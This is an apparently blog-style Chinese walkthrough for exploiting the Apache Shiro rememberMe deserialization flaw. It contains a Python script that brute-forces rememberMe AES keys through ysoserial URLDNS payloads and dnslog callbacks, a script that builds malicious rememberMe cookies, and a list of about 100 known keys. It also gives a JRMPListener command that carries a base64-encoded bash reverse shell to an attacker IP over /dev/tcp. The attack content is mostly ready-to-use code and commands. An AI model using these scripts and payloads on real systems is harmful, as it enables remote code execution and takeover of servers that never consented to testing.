简介
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
漏洞影响
只要rememberMe
的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。
漏洞工具
一台公网服务器(带有java环境)
dns接收网站 http://www.dnslog.cn/
burp抓包神器
编辑bash网站:http://www.jackson-t.ca/runtime-exec-payloads.html
相应的脚本:
test.py(碰撞密钥)py3版本
import sys from Crypto.Cipher import AES import traceback import requests import subprocess import uuid import base64 import time def scan(key, target, dns): target = target # 扫描目标 key = key # 秘钥 dns = dns # 发送的dns info_key = base64.b64encode(key.encode('utf-8')).decode('utf-8') dns_key = 'http://'+info_key+'.'+dns # 携带base64编码秘钥发送dns,获取执行成功的秘钥 print(dns_key) #target = "http://localhost:8000/samples_web_war/" 扫描站点 #cipher_key = "kPH+bIxk5D2deZiIxcaaaA==" 测试秘钥 # 创建 rememberme的值 popen = subprocess.Popen( ['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'URLDNS', dns_key], stdout=subprocess.PIPE) BS = AES.block_size def pad(s): return s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) # 发送request try: r = requests.get(target,timeout=20, cookies={ 'rememberMe': base64_ciphertext.decode()}) print("扫描目标:{0} 发送DNS域名:{1} 秘钥:{2}".format(target, dns, key)) except: traceback.print_exc() if __name__ == '__main__': f = open('shiro_key_100.txt', 'r') if(sys.argv[1]=='-h'): #判断获取参数是否为-h print("使用方法:python3 test.py -f xxx.com -t xxx.dnslog.cn") exit(0) if(len(sys.argv)!=5): #判断输入参数是否正确 print("错误使用方法,详细查看-h") exit(0) #退出程序 target = sys.argv[2] #扫描目标 dns = sys.argv[4] #发送dns while True: key = f.readline() if key: key = key.replace("\n","") scan(key,target,dns) #依次发送秘钥 else: break f.close()
shell.py(获取remember值)
# -*- coding: utf-8 -*- import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() # 密钥使用检测成功的密钥 key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") #由上面的脚本成功碰撞成功过后修改这里) iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())
shiro_key_100(100密钥)
4AvVhmFLUs0KTA3Kprsdag== Z3VucwAAAAAAAAAAAAAAAA== fCq+/xW488hMTCD+cmJ3aQ== 0AvVhmFLUs0KTA3Kprsdag== 1AvVhdsgUs0FSA3SDFAdag== 1QWLxg+NYmxraMoxAXu/Iw== 25BsmdYwjnfcWmnhAciDDg== 2AvVhdsgUs0FSA3SDFAdag== 3AvVhmFLUs0KTA3Kprsdag== 3JvYhmBLUs0ETA5Kprsdag== r0e3c16IdVkouZgk1TKVMg== 5aaC5qKm5oqA5pyvAAAAAA== 5AvVhmFLUs0KTA3Kprsdag== 6AvVhmFLUs0KTA3Kprsdag== 6NfXkC7YVCV5DASIrEm1Rg== 6ZmI6I2j5Y+R5aSn5ZOlAA== cmVtZW1iZXJNZQAAAAAAAA== 7AvVhmFLUs0KTA3Kprsdag== 8AvVhmFLUs0KTA3Kprsdag== 8BvVhmFLUs0KTA3Kprsdag== 9AvVhmFLUs0KTA3Kprsdag== OUHYQzxQ/W9e/UjiAGu6rg== a3dvbmcAAAAAAAAAAAAAAA== aU1pcmFjbGVpTWlyYWNsZQ== bWljcm9zAAAAAAAAAAAAAA== bWluZS1hc3NldC1rZXk6QQ== kPH+bIxk5D2deZiIxcaaaA== bXRvbnMAAAAAAAAAAAAAAA== ZUdsaGJuSmxibVI2ZHc9PQ== wGiHplamyXlVB11UXWol8g== U3ByaW5nQmxhZGUAAAAAAA== MTIzNDU2Nzg5MGFiY2RlZg== L7RioUULEFhRyxM7a2R/Yg== a2VlcE9uR29pbmdBbmRGaQ== WcfHGU25gNnTxTlmJMeSpw== OY//C4rhfwNxCQAQCrQQ1Q== 5J7bIJIV0LQSN3c9LPitBQ== f/SY5TIve5WWzT4aQlABJA== bya2HkYo57u6fWh5theAWw== WuB+y2gcHRnY2Lg9+Aqmqg== 3qDVdLawoIr1xFd6ietnwg== YI1+nBV//m7ELrIyDHm6DQ== 6Zm+6I2j5Y+R5aS+5ZOlAA== 2A2V+RFLUs+eTA3Kpr+dag== 6ZmI6I2j3Y+R1aSn5BOlAA== SkZpbmFsQmxhZGUAAAAAAA== 2cVtiE83c4lIrELJwKGJUw== fsHspZw/92PrS3XrPW+vxw== XTx6CKLo/SdSgub+OPHSrw== sHdIjUN6tzhl8xZMG3ULCQ== O4pdf+7e+mZe8NyxMTPJmQ== HWrBltGvEZc14h9VpMvZWw== rPNqM6uKFCyaL10AK51UkQ== Y1JxNSPXVwMkyvES/kJGeQ== lT2UvDUmQwewm6mMoiw4Ig== MPdCMZ9urzEA50JDlDYYDg== xVmmoltfpb8tTceuT5R7Bw== c+3hFGPjbgzGdrC+MHgoRQ== ClLk69oNcA3m+s0jIMIkpg== Bf7MfkNR0axGGptozrebag== 1tC/xrDYs8ey+sa3emtiYw== ZmFsYWRvLnh5ei5zaGlybw== cGhyYWNrY3RmREUhfiMkZA== IduElDUpDDXE677ZkhhKnQ== yeAAo1E8BOeAYfBlm4NG9Q== cGljYXMAAAAAAAAAAAAAAA== 2itfW92XazYRi5ltW0M2yA== XgGkgqGqYrix9lI6vxcrRw== ertVhmFLUs0KTA3Kprsdag== 5AvVhmFLUS0ATA4Kprsdag== s0KTA3mFLUprK4AvVhsdag== hBlzKg78ajaZuTE0VLzDDg== 9FvVhtFLUs0KnA3Kprsdyg== d2ViUmVtZW1iZXJNZUtleQ== yNeUgSzL/CfiWw1GALg6Ag== NGk/3cQ6F5/UNPRh8LpMIg== 4BvVhmFLUs0KTA3Kprsdag== MzVeSkYyWTI2OFVLZjRzZg== empodDEyMwAAAAAAAAAAAA== A7UzJgh1+EWj5oBFi+mSgw== c2hpcm9fYmF0aXMzMgAAAA== i45FVt72K2kLgvFrJtoZRw== U3BAbW5nQmxhZGUAAAAAAA== ZnJlc2h6Y24xMjM0NTY3OA== Jt3C93kMR9D5e8QzwfsiMw== MTIzNDU2NzgxMjM0NTY3OA== vXP33AonIp9bFwGl7aT7rA== V2hhdCBUaGUgSGVsbAAAAA== Q01TX0JGTFlLRVlfMjAxOQ== ZAvph3dsQs0FSL3SDFAdag== Is9zJ3pzNh2cgTHB4ua3+Q== NsZXjXVklWPZwOfkvk6kUA== GAevYnznvgNCURavBhCr1w== 66v1O8keKNV3TTcGPK1wzg== SDKOLKn2J1j/2BHjeZwAoQ==
这个文件自己去百度下载吧。
下面开始测试
第一步:抓取目标网站post包。

还有的是相应包有remember值的cookie;
第二步:用py3运行test.py脚本,查看是否有DNS返回,返回基本都有该漏洞;
打开http://www.dnslog.cn/获取一个子域名

在使用脚本:

成功运行,现在只需要看key能否碰到dns,若是碰到,基本就有该漏洞;

成功碰到,在去找对应的key值,写到shell.py里面就可以获取remember值;

用py2运行shell.py获取remember值;(需要修改里面的key值)

继续运行改脚本:

下面是攻击机:
制作反弹shell :bash -I >& /dev/tcp ip/端口 0>&1
http://www.jackson-t.ca/runtime-exec-payloads.html
在到攻击机上面运行。
在脚本目录下运行:
制作反弹shell :bash -I >& /dev/tcp ip/端口 0>&1
http://www.jackson-t.ca/runtime-exec-payloads.html

在到攻击机上面运行。
在脚本目录下运行:
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 "bash -c {echo,YmFzaCAtSSA+JiAvZGV2L3RjcCAxMjMuNTYuMjYuMjM0LzY2NjYgMD4mMSA=}|{base64,-d}|{bash,-i}"
在利用上面获取的remember值去burp改包发包:

攻击机(公网服务器):
执行成功了,但是这个是windows系统,所以没有反弹出来,linux是可以的。
因为时间原因,就不再继续深究windows怎么反弹出来,下次测试出来在发。
若大佬们知道和弟弟说说思路。